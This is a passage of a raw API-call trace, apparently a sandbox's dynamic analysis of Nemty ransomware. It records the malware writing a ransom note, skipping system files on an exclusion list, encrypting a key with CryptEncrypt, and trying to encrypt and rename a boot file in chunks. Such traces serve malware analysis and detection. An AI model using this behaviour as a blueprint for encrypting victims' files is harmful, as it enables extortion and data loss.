lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.153] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\tr-tr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.154] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.154] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0046.155] CloseHandle (hObject=0x3c0) returned 1 [0046.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0046.155] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf34b030, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf34b030, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0046.155] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.155] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf34b030, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf34b030, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.155] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.155] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.155] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0046.155] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0046.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0046.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0046.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.157] Sleep (dwMilliseconds=0x5) [0046.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf371190, dwHighDateTime=0x1d561e7)) [0046.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf371190, dwHighDateTime=0x1d561e7)) [0046.158] GetLastError () returned 0xb7 [0046.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.158] GetLastError () returned 0xb7 [0046.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.158] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0046.158] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0046.159] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0046.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0046.159] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="W0VndtEVZhzV99agJU7Vdp+9n9eVFr/omR3YilZ3Rvbuh32PmW6FX4P7zI7DSg5n\r\nwes8Q4IkpTWBkTaAR2rITmayVUXYB0PRuZFNMSdzocIO22Vk9pceCDVLRiXIxCYZ\r\ngpne1rvCxgpJnstkhCIWFpvJ/IZT+4yW4/IJ+fHHbyDE+wKQ0cEjiJUh1um/kJzN\r\nMmx7E8soqpZlpAIyb58nwc1n+au/Vx4nzO9moVkFgf/aHxDVtQ8CQaFx294Yx37X\r\nZFusOvfkeYWlCEykMO/CAfcGF6Mgp3goAcla5VUIH8R3ySk3hCOK4Z2YDDXWNH0d\r\n91E9nU/6kfumMUiZMJ+ulQ==\r\n", pcchString=0x653f2dc) returned 1 [0046.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0046.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0046.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0046.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0046.159] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.159] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0046.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0046.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.255] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.262] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.262] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.268] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.268] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.268] CloseHandle (hObject=0xffffffff) returned 0 [0046.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0046.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0046.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.269] MoveFileW (lpExistingFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0046.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0046.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0046.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.269] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf34b030, 